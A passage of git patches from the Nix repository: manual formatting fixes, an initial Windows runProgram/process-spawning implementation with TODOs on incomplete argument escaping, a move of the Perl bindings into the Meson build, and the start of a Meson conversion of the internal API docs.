     variable) of the [store derivation]s *paths*. It is an error for a
     derivation to not have the specified attribute.
 
-  - `--hash`\
+  - `--hash`
+
     Prints the SHA-256 hash of the contents of the store paths *paths*
     (that is, the hash of the output of `nix-store --dump` on the given
     paths). Since the hash is stored in the Nix database, this is a fast
     operation.
 
-  - `--size`\
+  - `--size`
+
     Prints the size in bytes of the contents of the store paths *paths*
     — to be precise, the size of the output of `nix-store --dump` on
     the given paths. Note that the actual disk space required by the
     store paths may be higher, especially on filesystems with large
     cluster sizes.
 
-  - `--roots`\
+  - `--roots`
+
     Prints the garbage collector roots that point, directly or
     indirectly, at the store paths *paths*.
 
diff --git a/doc/manual/src/command-ref/nix-store/realise.md b/doc/manual/src/command-ref/nix-store/realise.md
index 6e56387ebdb..6288b24e08e 100644
--- a/doc/manual/src/command-ref/nix-store/realise.md
+++ b/doc/manual/src/command-ref/nix-store/realise.md
@@ -42,15 +42,18 @@ For non-derivation arguments, the argument itself is printed.
 
 # Options
 
-  - `--dry-run`\
+  - `--dry-run`
+
     Print on standard error a description of what packages would be
     built or downloaded, without actually performing the operation.
 
-  - `--ignore-unknown`\
+  - `--ignore-unknown`
+
     If a non-derivation path does not have a substitute, then silently
     ignore it.
 
-  - `--check`\
+  - `--check`
+
     This option allows you to check whether a derivation is
     deterministic. It rebuilds the specified derivation and checks
     whether the result is bitwise-identical with the existing outputs,
diff --git a/doc/manual/src/command-ref/nix-store/serve.md b/doc/manual/src/command-ref/nix-store/serve.md
index 0f90f65aeae..dd9b93fbfa9 100644
--- a/doc/manual/src/command-ref/nix-store/serve.md
+++ b/doc/manual/src/command-ref/nix-store/serve.md
@@ -14,7 +14,8 @@ access to a restricted ssh user.
 
 The following flags are available:
 
-  - `--write`\
+  - `--write`
+
     Allow the connected client to request the realization of
     derivations. In effect, this can be used to make the host act as a
     remote builder.
diff --git a/doc/manual/src/command-ref/nix-store/verify.md b/doc/manual/src/command-ref/nix-store/verify.md
index 2695b3361fa..1b1b6f5298b 100644
--- a/doc/manual/src/command-ref/nix-store/verify.md
+++ b/doc/manual/src/command-ref/nix-store/verify.md
@@ -16,14 +16,16 @@ being modified by non-Nix tools, or of bugs in Nix itself.
 
 This operation has the following options:
 
-  - `--check-contents`\
+  - `--check-contents`
+
     Checks that the contents of every valid store path has not been
     altered by computing a SHA-256 hash of the contents and comparing it
     with the hash stored in the Nix database at build time. Paths that
     have been modified are printed out. For large stores,
     `--check-contents` is obviously quite slow.
 
-  - `--repair`\
+  - `--repair`
+
     If any valid path is missing from the store, or (if
     `--check-contents` is given) the contents of a valid path has been
     modified, then try to repair the path by redownloading it. See

From a58ca342cae1d6bee488a42b6fc054c1072cfb8f Mon Sep 17 00:00:00 2001
From: PoweredByPie <poweredbypie@users.noreply.github.com>
Date: Mon, 17 Jun 2024 11:01:29 -0700
Subject: [PATCH 363/528] Initial runProgram implementation for Windows

This is incomplete; proper shell escaping needs to be done
---
 src/libutil/processes.hh         |  17 +-
 src/libutil/windows/processes.cc | 322 ++++++++++++++++++++++++++++++-
 2 files changed, 331 insertions(+), 8 deletions(-)

diff --git a/src/libutil/processes.hh b/src/libutil/processes.hh
index 168fcaa5559..bbbe7dcabd3 100644
--- a/src/libutil/processes.hh
+++ b/src/libutil/processes.hh
@@ -3,6 +3,7 @@
 
 #include "types.hh"
 #include "error.hh"
+#include "file-descriptor.hh"
 #include "logging.hh"
 #include "ansicolor.hh"
 
@@ -23,26 +24,36 @@ namespace nix {
 struct Sink;
 struct Source;
 
-#ifndef _WIN32
 class Pid
 {
+#ifndef _WIN32
     pid_t pid = -1;
     bool separatePG = false;
     int killSignal = SIGKILL;
+#else
+    AutoCloseFD pid = INVALID_DESCRIPTOR;
+#endif
 public:
     Pid();
+#ifndef _WIN32
     Pid(pid_t pid);
-    ~Pid();
     void operator =(pid_t pid);
     operator pid_t();
+#else
+    Pid(AutoCloseFD pid);
+    void operator =(AutoCloseFD pid);
+#endif
+    ~Pid();
     int kill();
     int wait();
 
+    // TODO: Implement for Windows
+#ifndef _WIN32
     void setSeparatePG(bool separatePG);
     void setKillSignal(int signal);
     pid_t release();
-};
 #endif
+};
 
 
 #ifndef _WIN32
diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc
index 44a32f6a131..bb796ce2e68 100644
--- a/src/libutil/windows/processes.cc
+++ b/src/libutil/windows/processes.cc
@@ -1,9 +1,15 @@
 #include "current-process.hh"
 #include "environment-variables.hh"
+#include "error.hh"
+#include "file-descriptor.hh"
+#include "file-path.hh"
 #include "signals.hh"
 #include "processes.hh"
 #include "finally.hh"
 #include "serialise.hh"
+#include "file-system.hh"
+#include "util.hh"
+#include "windows-error.hh"
 
 #include <cerrno>
 #include <cstdlib>
@@ -16,25 +22,332 @@
 #include <sys/types.h>
 #include <unistd.h>
 
+#define WIN32_LEAN_AND_MEAN
+#include <windows.h>
+
 namespace nix {
 
+using namespace nix::windows;
+
+Pid::Pid() {}
+
+Pid::Pid(AutoCloseFD pid)
+    : pid(std::move(pid))
+{
+}
+
+Pid::~Pid()
+{
+    if (pid.get() != INVALID_DESCRIPTOR)
+        kill();
+}
+
+void Pid::operator=(AutoCloseFD pid)
+{
+    if (this->pid.get() != INVALID_DESCRIPTOR && this->pid.get() != pid.get())
+        kill();
+    this->pid = std::move(pid);
+}
+
+// TODO: Implement (not needed for process spawning yet)
+int Pid::kill()
+{
+    assert(pid.get() != INVALID_DESCRIPTOR);
+
+    debug("killing process %1%", pid.get());
+
+    throw UnimplementedError("Pid::kill unimplemented");
+}
+
+int Pid::wait()
+{
+    // https://github.com/nix-windows/nix/blob/windows-meson/src/libutil/util.cc#L1938
+    assert(pid.get() != INVALID_DESCRIPTOR);
+    DWORD status = WaitForSingleObject(pid.get(), INFINITE);
+    if (status != WAIT_OBJECT_0) {
+        debug("WaitForSingleObject returned %1%", status);
+    }
+
+    DWORD exitCode = 0;
+    if (GetExitCodeProcess(pid.get(), &exitCode) == FALSE) {
+        debug("GetExitCodeProcess failed on pid %1%", pid.get());
+    }
+
+    pid.close();
+    return exitCode;
+}
+
+// TODO: Merge this with Unix's runProgram since it's identical logic.
 std::string runProgram(Path program, bool lookupPath, const Strings & args,
     const std::optional<std::string> & input, bool isInteractive)
 {
-    throw UnimplementedError("Cannot shell out to git on Windows yet");
+    auto res = runProgram(RunOptions{
+        .program = program, .lookupPath = lookupPath, .args = args, .input = input, .isInteractive = isInteractive});
+
+    if (!statusOk(res.first))
+        throw ExecError(res.first, "program '%1%' %2%", program, statusToString(res.first));
+
+    return res.second;
 }
+// Looks at the $PATH environment variable to find the program.
+// Adapted from https://github.com/nix-windows/nix/blob/windows/src/libutil/util.cc#L2276
+Path lookupPathForProgram(const Path & program)
+{
+    if (program.find('/') != program.npos || program.find('\\') != program.npos) {
+        throw Error("program '%1%' partially specifies its path", program);
+    }
+
+    // Possible extensions.
+    // TODO: This should actually be sourced from $PATHEXT, not hardcoded.
+    static constexpr const char * exts[] = {"", ".exe", ".cmd", ".bat"};
+
+    auto path = getEnv("PATH");
+    if (!path.has_value()) {
+        throw WinError("couldn't find PATH environment variable");
+    }
 
+    // Look through each directory listed in $PATH.
+    for (const std::string & dir : tokenizeString<Strings>(*getEnv("PATH"), ";")) {
+        Path candidate = canonPath(dir) + '/' + program;
+        for (const auto ext : exts) {
+            if (pathExists(candidate + ext)) {
+                return candidate;
+            }
+        }
+    }
+
+    throw WinError("program '%1%' not found on PATH", program);
+}
+
+std::optional<Path> getProgramInterpreter(const Path & program)
+{
+    // These extensions are automatically handled by Windows and don't require an interpreter.
+    static constexpr const char * exts[] = {".exe", ".cmd", ".bat"};
+    for (const auto ext : exts) {
+        if (hasSuffix(program, ext)) {
+            return {};
+        }
+    }
+    // TODO: Open file and read the shebang
+    throw UnimplementedError("getProgramInterpreter unimplemented");
+}
+
+// TODO: Not sure if this is needed in the unix version but it might be useful as a member func
+void setFDInheritable(AutoCloseFD & fd, bool inherit)
+{
+    if (fd.get() != INVALID_DESCRIPTOR) {
+        if (!SetHandleInformation(fd.get(), HANDLE_FLAG_INHERIT, inherit ? HANDLE_FLAG_INHERIT : 0)) {
+            throw WinError("Couldn't disable inheriting of handle");
+        }
+    }
+}
 
+AutoCloseFD nullFD()
+{
+    // Create null handle to discard reads / writes
+    // https://stackoverflow.com/a/25609668
+    // https://github.com/nix-windows/nix/blob/windows-meson/src/libutil/util.cc#L2228
+    AutoCloseFD nul = CreateFileW(
+        L"NUL",
+        GENERIC_READ | GENERIC_WRITE,
+        // We don't care who reads / writes / deletes this file since it's NUL anyways
+        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
+        NULL,
+        OPEN_EXISTING,
+        0,
+        NULL);
+    if (!nul.get()) {
+        throw WinError("Couldn't open NUL device");
+    }
+    // Let this handle be inheritable by child processes
+    setFDInheritable(nul, true);
+    return nul;
+}
+
+Pid spawnProcess(const Path & realProgram, const RunOptions & options, Pipe & out, Pipe & in)
+{
+    // Setup pipes.
+    if (options.standardOut) {
+        // Don't inherit the read end of the output pipe
+        setFDInheritable(out.readSide, false);
+    } else {
+        out.writeSide = nullFD();
+    }
+    if (options.standardIn) {
+        // Don't inherit the write end of the input pipe
+        setFDInheritable(in.writeSide, false);
+    } else {
+        in.readSide = nullFD();
+    }
+
+    STARTUPINFOW startInfo = {0};
+    startInfo.cb = sizeof(startInfo);
+    startInfo.dwFlags = STARTF_USESTDHANDLES;
+    startInfo.hStdInput = in.readSide.get();
+    startInfo.hStdOutput = out.writeSide.get();
+    startInfo.hStdError = out.writeSide.get();
+
+    std::string envline;
+    // Retain the current processes' environment variables.
+    for (const auto & envVar : getEnv()) {
+        envline += (envVar.first + '=' + envVar.second + '\0');
+    }
+    // Also add new ones specified in options.
+    if (options.environment) {
+        for (const auto & envVar : *options.environment) {
+            envline += (envVar.first + '=' + envVar.second + '\0');
+        }
+    }
+
+    std::string cmdline = realProgram;
+    for (const auto & arg : options.args) {
+        // TODO: This isn't the right way to escape windows command
+        // See https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw
+        cmdline += ' ' + shellEscape(arg);
+    }
+
+    PROCESS_INFORMATION procInfo = {0};
+    if (CreateProcessW(
+            string_to_os_string(realProgram).c_str(),
+            string_to_os_string(cmdline).data(),
+            NULL,
+            NULL,
+            TRUE,
+            CREATE_UNICODE_ENVIRONMENT | CREATE_SUSPENDED,
+            string_to_os_string(envline).data(),
+            options.chdir.has_value() ? string_to_os_string(*options.chdir).data() : NULL,
+            &startInfo,
+            &procInfo)
+        == 0) {
+        throw WinError("CreateProcessW failed (%1%)", cmdline);
+    }
+
+    // Convert these to use RAII
+    AutoCloseFD process = procInfo.hProcess;
+    AutoCloseFD thread = procInfo.hThread;
+
+    // Add current process and child to job object so child terminates when parent terminates
+    // TODO: This spawns one job per child process. We can probably keep this as a global, and
+    // add children a single job so we don't use so many jobs at once.
+    Descriptor job = CreateJobObjectW(NULL, NULL);
+    if (job == NULL) {
+        TerminateProcess(procInfo.hProcess, 0);
+        throw WinError("Couldn't create job object for child process");
+    }
+    if (AssignProcessToJobObject(job, procInfo.hProcess) == FALSE) {
+        TerminateProcess(procInfo.hProcess, 0);
+        throw WinError("Couldn't assign child process to job object");
+    }
+    if (ResumeThread(procInfo.hThread) == -1) {
+        TerminateProcess(procInfo.hProcess, 0);
+        throw WinError("Couldn't resume child process thread");
+    }
+
+    return process;
+}
+
+// TODO: Merge this with Unix's runProgram since it's identical logic.
 // Output = error code + "standard out" output stream
 std::pair<int, std::string> runProgram(RunOptions && options)
 {
-    throw UnimplementedError("Cannot shell out to git on Windows yet");
-}
+    StringSink sink;
+    options.standardOut = &sink;
+
+    int status = 0;
 
+    try {
+        runProgram2(options);
+    } catch (ExecError & e) {
+        status = e.status;
+    }
+
+    return {status, std::move(sink.s)};
+}
 
 void runProgram2(const RunOptions & options)
 {
-    throw UnimplementedError("Cannot shell out to git on Windows yet");
+    checkInterrupt();
+
+    assert(!(options.standardIn && options.input));
+
+    std::unique_ptr<Source> source_;
+    Source * source = options.standardIn;
+
+    if (options.input) {
+        source_ = std::make_unique<StringSource>(*options.input);
+        source = source_.get();
+    }
+
+    /* Create a pipe. */
+    Pipe out, in;
+    // TODO: I copied this from unix but this is handled again in spawnProcess, so might be weird to split it up like
+    // this
+    if (options.standardOut)
+        out.create();
+    if (source)
+        in.create();
+
+    Path realProgram = options.program;
+    if (options.lookupPath) {
+        realProgram = lookupPathForProgram(realProgram);
+    }
+    // TODO: Implement shebang / program interpreter lookup on Windows
+    auto interpreter = getProgramInterpreter(realProgram);
+
+    std::optional<Finally<std::function<void()>>> resumeLoggerDefer;
+    if (options.isInteractive) {
+        logger->pause();
+        resumeLoggerDefer.emplace([]() { logger->resume(); });
+    }
+
+    Pid pid = spawnProcess(interpreter.has_value() ? *interpreter : realProgram, options, out, in);
+
+    // TODO: This is identical to unix, deduplicate?
+    out.writeSide.close();
+
+    std::thread writerThread;
+
+    std::promise<void> promise;
+
+    Finally doJoin([&] {
+        if (writerThread.joinable())
+            writerThread.join();
+    });
+
+    if (source) {
+        in.readSide.close();
+        writerThread = std::thread([&] {
+            try {
+                std::vector<char> buf(8 * 1024);
+                while (true) {
+                    size_t n;
+                    try {
+                        n = source->read(buf.data(), buf.size());
+                    } catch (EndOfFile &) {
+                        break;
+                    }
+                    writeFull(in.writeSide.get(), {buf.data(), n});
+                }
+                promise.set_value();
+            } catch (...) {
+                promise.set_exception(std::current_exception());
+            }
+            in.writeSide.close();
+        });
+    }
+
+    if (options.standardOut)
+        drainFD(out.readSide.get(), *options.standardOut);
+
+    /* Wait for the child to finish. */
+    int status = pid.wait();
+
+    /* Wait for the writer thread to finish. */
+    if (source)
+        promise.get_future().get();
+
+    if (status)
+        throw ExecError(status, "program '%1%' %2%", options.program, statusToString(status));
 }
 
 std::string statusToString(int status)
@@ -45,7 +358,6 @@ std::string statusToString(int status)
         return "succeeded";
 }
 
-
 bool statusOk(int status)
 {
     return status == 0;

From a83d95e26ebdbe996a9cafc106538e5ada283fe5 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 4 Jun 2024 18:10:25 -0400
Subject: [PATCH 364/528] Integrate perl with the other meson builds

One big dev shell!
---
 flake.nix                                     | 38 ++++++++++++++-----
 maintainers/hydra.nix                         |  2 +-
 meson.build                                   |  1 +
 package.nix                                   |  4 +-
 src/perl/.version                             |  1 +
 {perl => src/perl}/.yath.rc.in                |  0
 {perl => src/perl}/MANIFEST                   |  0
 {perl => src/perl}/lib/Nix/Config.pm.in       |  0
 {perl => src/perl}/lib/Nix/CopyClosure.pm     |  0
 {perl => src/perl}/lib/Nix/Manifest.pm        |  0
 {perl => src/perl}/lib/Nix/SSH.pm             |  0
 {perl => src/perl}/lib/Nix/Store.pm           |  0
 {perl => src/perl}/lib/Nix/Store.xs           |  3 +-
 {perl => src/perl}/lib/Nix/Utils.pm           |  0
 {perl => src/perl}/lib/Nix/meson.build        |  0
 {perl => src/perl}/meson.build                |  8 ++--
 .../perl/meson.options                        |  5 ---
 perl/default.nix => src/perl/package.nix      | 17 ++++++---
 {perl => src/perl}/t/init.t                   |  0
 {perl => src/perl}/t/meson.build              |  0
 20 files changed, 52 insertions(+), 27 deletions(-)
 create mode 120000 src/perl/.version
 rename {perl => src/perl}/.yath.rc.in (100%)
 rename {perl => src/perl}/MANIFEST (100%)
 rename {perl => src/perl}/lib/Nix/Config.pm.in (100%)
 rename {perl => src/perl}/lib/Nix/CopyClosure.pm (100%)
 rename {perl => src/perl}/lib/Nix/Manifest.pm (100%)
 rename {perl => src/perl}/lib/Nix/SSH.pm (100%)
 rename {perl => src/perl}/lib/Nix/Store.pm (100%)
 rename {perl => src/perl}/lib/Nix/Store.xs (99%)
 rename {perl => src/perl}/lib/Nix/Utils.pm (100%)
 rename {perl => src/perl}/lib/Nix/meson.build (100%)
 rename {perl => src/perl}/meson.build (96%)
 rename perl/meson_options.txt => src/perl/meson.options (88%)
 rename perl/default.nix => src/perl/package.nix (79%)
 rename {perl => src/perl}/t/init.t (100%)
 rename {perl => src/perl}/t/meson.build (100%)

diff --git a/flake.nix b/flake.nix
index 9f494cb15f5..2b0e3c61382 100644
--- a/flake.nix
+++ b/flake.nix
@@ -192,14 +192,14 @@
               libgit2 = final.libgit2-nix;
               libseccomp = final.libseccomp-nix;
               busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell;
-            } // {
-              # this is a proper separate downstream package, but put
-              # here also for back compat reasons.
-              perl-bindings = final.nix-perl-bindings;
             };
 
-          nix-perl-bindings = final.callPackage ./perl {
-            inherit fileset stdenv;
+          nix-perl-bindings = final.callPackage ./src/perl/package.nix {
+            inherit
+              fileset
+              stdenv
+              versionSuffix
+              ;
           };
 
           # See https://github.com/NixOS/nixpkgs/pull/214409
@@ -213,7 +213,7 @@
 
     in {
       # A Nixpkgs overlay that overrides the 'nix' and
-      # 'nix.perl-bindings' packages.
+      # 'nix-perl-bindings' packages.
       overlays.default = overlayFor (p: p.stdenv);
 
       hydraJobs = import ./maintainers/hydra.nix {
@@ -245,7 +245,11 @@
         # Some perl dependencies are broken on i686-linux.
         # Since the support is only best-effort there, disable the perl
         # bindings
-        perlBindings = self.hydraJobs.perlBindings.${system};
+
+        # Temporarily disabled because GitHub Actions OOM issues. Once
+        # the old build system is gone and we are back to one build
+        # system, we should reenable this.
+        #perlBindings = self.hydraJobs.perlBindings.${system};
       } // devFlake.checks.${system} or {}
       );
 
@@ -297,6 +301,13 @@
         makeShell = pkgs: stdenv: (pkgs.nix.override { inherit stdenv; forDevShell = true; }).overrideAttrs (attrs:
         let
           modular = devFlake.getSystem stdenv.buildPlatform.system;
+          transformFlag = prefix: flag:
+            assert builtins.isString flag;
+            let
+              rest = builtins.substring 2 (builtins.stringLength flag) flag;
+            in
+              "-D${prefix}:${rest}";
+          havePerl = stdenv.buildPlatform == stdenv.hostPlatform && stdenv.hostPlatform.isUnix;
         in {
           pname = "shell-for-" + attrs.pname;
 
@@ -327,11 +338,16 @@
               "${(pkgs.formats.yaml { }).generate "pre-commit-config.yaml" modular.pre-commit.settings.rawConfig}";
           };
 
-          mesonFlags = pkgs.nix-util.mesonFlags ++ pkgs.nix-store.mesonFlags;
+          mesonFlags =
+            map (transformFlag "libutil") pkgs.nix-util.mesonFlags
+            ++ map (transformFlag "libstore") pkgs.nix-store.mesonFlags
+            ++ lib.optionals havePerl (map (transformFlag "perl") pkgs.nix-perl-bindings.mesonFlags)
+            ;
 
           nativeBuildInputs = attrs.nativeBuildInputs or []
             ++ pkgs.nix-util.nativeBuildInputs
             ++ pkgs.nix-store.nativeBuildInputs
+            ++ lib.optionals havePerl pkgs.nix-perl-bindings.nativeBuildInputs
             ++ [
               modular.pre-commit.settings.package
               (pkgs.writeScriptBin "pre-commit-hooks-install"
@@ -341,6 +357,10 @@
             # https://github.com/NixOS/nixpkgs/pull/291814 is available
             ++ lib.optional (stdenv.cc.isClang && !stdenv.buildPlatform.isDarwin) pkgs.buildPackages.bear
             ++ lib.optional (stdenv.cc.isClang && stdenv.hostPlatform == stdenv.buildPlatform) pkgs.buildPackages.clang-tools;
+
+          buildInputs = attrs.buildInputs or []
+            ++ lib.optional havePerl pkgs.perl
+            ;
         });
         in
         forAllSystems (system:
diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix
index cc0dadac939..6c07e65d41c 100644
--- a/maintainers/hydra.nix
+++ b/maintainers/hydra.nix
@@ -75,7 +75,7 @@ in
   );
 
   # Perl bindings for various platforms.
-  perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nix.perl-bindings);
+  perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nix-perl-bindings);
 
   # Binary tarball for various platforms, containing a Nix store
   # with the closure of 'nix' package, and the second half of
diff --git a/meson.build b/meson.build
index 10883d832b9..f1ee7a57111 100644
--- a/meson.build
+++ b/meson.build
@@ -8,3 +8,4 @@ project('nix-dev-shell', 'cpp',
 
 subproject('libutil')
 subproject('libstore')
+subproject('perl')
diff --git a/package.nix b/package.nix
index 5986edeb43c..cb95542355e 100644
--- a/package.nix
+++ b/package.nix
@@ -180,7 +180,7 @@ in {
           ./doc
           ./misc
           ./precompiled-headers.h
-          ./src
+          (fileset.difference ./src ./src/perl)
           ./COPYING
           ./scripts/local.mk
         ] ++ lib.optionals buildUnitTests [
@@ -192,7 +192,7 @@ in {
         ] ++ lib.optionals (enableInternalAPIDocs || enableExternalAPIDocs) [
           # Source might not be compiled, but still must be available
           # for Doxygen to gather comments.
-          ./src
+          (fileset.difference ./src ./src/perl)
           ./tests/unit
         ] ++ lib.optionals buildUnitTests [
           ./tests/unit
diff --git a/src/perl/.version b/src/perl/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/perl/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/perl/.yath.rc.in b/src/perl/.yath.rc.in
similarity index 100%
rename from perl/.yath.rc.in
rename to src/perl/.yath.rc.in
diff --git a/perl/MANIFEST b/src/perl/MANIFEST
similarity index 100%
rename from perl/MANIFEST
rename to src/perl/MANIFEST
diff --git a/perl/lib/Nix/Config.pm.in b/src/perl/lib/Nix/Config.pm.in
similarity index 100%
rename from perl/lib/Nix/Config.pm.in
rename to src/perl/lib/Nix/Config.pm.in
diff --git a/perl/lib/Nix/CopyClosure.pm b/src/perl/lib/Nix/CopyClosure.pm
similarity index 100%
rename from perl/lib/Nix/CopyClosure.pm
rename to src/perl/lib/Nix/CopyClosure.pm
diff --git a/perl/lib/Nix/Manifest.pm b/src/perl/lib/Nix/Manifest.pm
similarity index 100%
rename from perl/lib/Nix/Manifest.pm
rename to src/perl/lib/Nix/Manifest.pm
diff --git a/perl/lib/Nix/SSH.pm b/src/perl/lib/Nix/SSH.pm
similarity index 100%
rename from perl/lib/Nix/SSH.pm
rename to src/perl/lib/Nix/SSH.pm
diff --git a/perl/lib/Nix/Store.pm b/src/perl/lib/Nix/Store.pm
similarity index 100%
rename from perl/lib/Nix/Store.pm
rename to src/perl/lib/Nix/Store.pm
diff --git a/perl/lib/Nix/Store.xs b/src/perl/lib/Nix/Store.xs
similarity index 99%
rename from perl/lib/Nix/Store.xs
rename to src/perl/lib/Nix/Store.xs
index e751c2be144..15eb5c4f849 100644
--- a/perl/lib/Nix/Store.xs
+++ b/src/perl/lib/Nix/Store.xs
@@ -1,4 +1,5 @@
-#include "nix/config.h"
+#include "config-util.h"
+#include "config-store.h"
 
 #include "EXTERN.h"
 #include "perl.h"
diff --git a/perl/lib/Nix/Utils.pm b/src/perl/lib/Nix/Utils.pm
similarity index 100%
rename from perl/lib/Nix/Utils.pm
rename to src/perl/lib/Nix/Utils.pm
diff --git a/perl/lib/Nix/meson.build b/src/perl/lib/Nix/meson.build
similarity index 100%
rename from perl/lib/Nix/meson.build
rename to src/perl/lib/Nix/meson.build
diff --git a/perl/meson.build b/src/perl/meson.build
similarity index 96%
rename from perl/meson.build
rename to src/perl/meson.build
index 350e5bd67b7..06abb4f2eb9 100644
--- a/perl/meson.build
+++ b/src/perl/meson.build
@@ -7,17 +7,17 @@
 project (
   'nix-perl',
   'cpp',
-  meson_version : '>= 0.64.0',
+  version : files('.version'),
+  meson_version : '>= 1.1',
   license : 'LGPL-2.1-or-later',
 )
 
 # setup env
 #-------------------------------------------------
 fs = import('fs')
-nix_version = get_option('version')
 cpp = meson.get_compiler('cpp')
 nix_perl_conf = configuration_data()
-nix_perl_conf.set('PACKAGE_VERSION', nix_version)
+nix_perl_conf.set('PACKAGE_VERSION', meson.project_version())
 
 
 # set error arguments
@@ -64,7 +64,7 @@ yath = find_program('yath', required : false)
 bzip2_dep = dependency('bzip2')
 curl_dep = dependency('libcurl')
 libsodium_dep = dependency('libsodium')
-# nix_util_dep = dependency('nix-util')
+
 nix_store_dep = dependency('nix-store')
 
 
diff --git a/perl/meson_options.txt b/src/perl/meson.options
similarity index 88%
rename from perl/meson_options.txt
rename to src/perl/meson.options
index 82ca52f3719..9b5b6b1d9b8 100644
--- a/perl/meson_options.txt
+++ b/src/perl/meson.options
@@ -5,11 +5,6 @@
 # compiler args
 #============================================================================
 
-option(
-  'version',
-  type : 'string',
-  description : 'nix-perl version')
-
 option(
   'tests',
   type : 'feature',
diff --git a/perl/default.nix b/src/perl/package.nix
similarity index 79%
rename from perl/default.nix
rename to src/perl/package.nix
index 45682381ea5..a31b1b66cf5 100644
--- a/perl/default.nix
+++ b/src/perl/package.nix
@@ -6,17 +6,19 @@
 , meson
 , ninja
 , pkg-config
-, nix
+, nix-store
 , curl
 , bzip2
 , xz
 , boost
 , libsodium
 , darwin
+, versionSuffix ? ""
 }:
 
 perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: {
-  name = "nix-perl-${nix.version}";
+  pname = "nix-perl";
+  version = lib.fileContents ./.version + versionSuffix;
 
   src = fileset.toSource {
     root = ./.;
@@ -24,7 +26,7 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: {
       ./MANIFEST
       ./lib
       ./meson.build
-      ./meson_options.txt
+      ./meson.options
     ] ++ lib.optionals finalAttrs.doCheck [
       ./.yath.rc.in
       ./t
@@ -38,7 +40,7 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: {
   ];
 
   buildInputs = [
-    nix
+    nix-store
     curl
     bzip2
     xz
@@ -55,8 +57,13 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: {
     perlPackages.Test2Harness
   ];
 
+  preConfigure =
+    # "Inline" .version so its not a symlink, and includes the suffix
+    ''
+      echo ${finalAttrs.version} > .version
+    '';
+
   mesonFlags = [
-    (lib.mesonOption "version" (builtins.readFile ../.version))
     (lib.mesonOption "dbi_path" "${perlPackages.DBI}/${perl.libPrefix}")
     (lib.mesonOption "dbd_sqlite_path" "${perlPackages.DBDSQLite}/${perl.libPrefix}")
     (lib.mesonEnable "tests" finalAttrs.doCheck)
diff --git a/perl/t/init.t b/src/perl/t/init.t
similarity index 100%
rename from perl/t/init.t
rename to src/perl/t/init.t
diff --git a/perl/t/meson.build b/src/perl/t/meson.build
similarity index 100%
rename from perl/t/meson.build
rename to src/perl/t/meson.build

From 6e34c6832796781667562e1e40e85fc09a085987 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Mon, 17 Jun 2024 15:50:59 +0200
Subject: [PATCH 365/528] Convert the internal API doc build to Meson

---
 Makefile                                      | 11 ----
 Makefile.config.in                            |  1 -
 configure.ac                                  |  5 --
 doc/internal-api/local.mk                     |  7 ---
 doc/manual/src/contributing/documentation.md  | 12 ++--
 flake.nix                                     | 10 ++++
 maintainers/hydra.nix                         |  6 +-
 meson.build                                   |  1 +
 package.nix                                   | 19 ++-----
 .../internal-api-docs}/.gitignore             |  0
 src/internal-api-docs/.version                |  1 +
 .../internal-api-docs}/doxygen.cfg.in         | 46 +++++++--------
 src/internal-api-docs/meson.build             | 31 ++++++++++
 src/internal-api-docs/package.nix             | 56 +++++++++++++++++++
 14 files changed, 136 insertions(+), 70 deletions(-)
 delete mode 100644 doc/internal-api/local.mk
 rename {doc/internal-api => src/internal-api-docs}/.gitignore (100%)
 create mode 120000 src/internal-api-docs/.version
 rename {doc/internal-api => src/internal-api-docs}/doxygen.cfg.in (82%)
 create mode 100644 src/internal-api-docs/meson.build
 create mode 100644 src/internal-api-docs/package.nix

diff --git a/Makefile b/Makefile
index 6c96ef5db89..25756002820 100644
--- a/Makefile
+++ b/Makefile
@@ -68,10 +68,6 @@ ifeq ($(ENABLE_DOC_GEN), yes)
 makefiles-late += doc/manual/local.mk
 endif
 
-ifeq ($(ENABLE_INTERNAL_API_DOCS), yes)
-makefiles-late += doc/internal-api/local.mk
-endif
-
 ifeq ($(ENABLE_EXTERNAL_API_DOCS), yes)
 makefiles-late += doc/external-api/local.mk
 endif
@@ -132,13 +128,6 @@ manual-html manpages:
 	@exit 1
 endif
 
-ifneq ($(ENABLE_INTERNAL_API_DOCS), yes)
-.PHONY: internal-api-html
-internal-api-html:
-	@echo "Internal API docs are disabled. Configure with '--enable-internal-api-docs', or avoid calling 'make internal-api-html'."
-	@exit 1
-endif
-
 ifneq ($(ENABLE_EXTERNAL_API_DOCS), yes)
 .PHONY: external-api-html
 external-api-html:
diff --git a/Makefile.config.in b/Makefile.config.in
index 7f517898c14..56e67e5cdfa 100644
--- a/Makefile.config.in
+++ b/Makefile.config.in
@@ -11,7 +11,6 @@ EDITLINE_LIBS = @EDITLINE_LIBS@
 ENABLE_BUILD = @ENABLE_BUILD@
 ENABLE_DOC_GEN = @ENABLE_DOC_GEN@
 ENABLE_FUNCTIONAL_TESTS = @ENABLE_FUNCTIONAL_TESTS@
-ENABLE_INTERNAL_API_DOCS = @ENABLE_INTERNAL_API_DOCS@
 ENABLE_EXTERNAL_API_DOCS = @ENABLE_EXTERNAL_API_DOCS@
 ENABLE_S3 = @ENABLE_S3@
 ENABLE_UNIT_TESTS = @ENABLE_UNIT_TESTS@
diff --git a/configure.ac b/configure.ac
index 8211bec0bb7..2fefbe95aaa 100644
--- a/configure.ac
+++ b/configure.ac
@@ -171,11 +171,6 @@ AS_IF(
   [test "$ENABLE_BUILD" == "no" && test "$ENABLE_DOC_GEN" == "yes"],
   [AC_MSG_ERROR([Cannot enable generated docs when building overall is disabled. Please do not pass '--enable-doc-gen' or do not pass '--disable-build'.])])
 
-# Building without API docs is the default as Nix' C++ interfaces are internal and unstable.
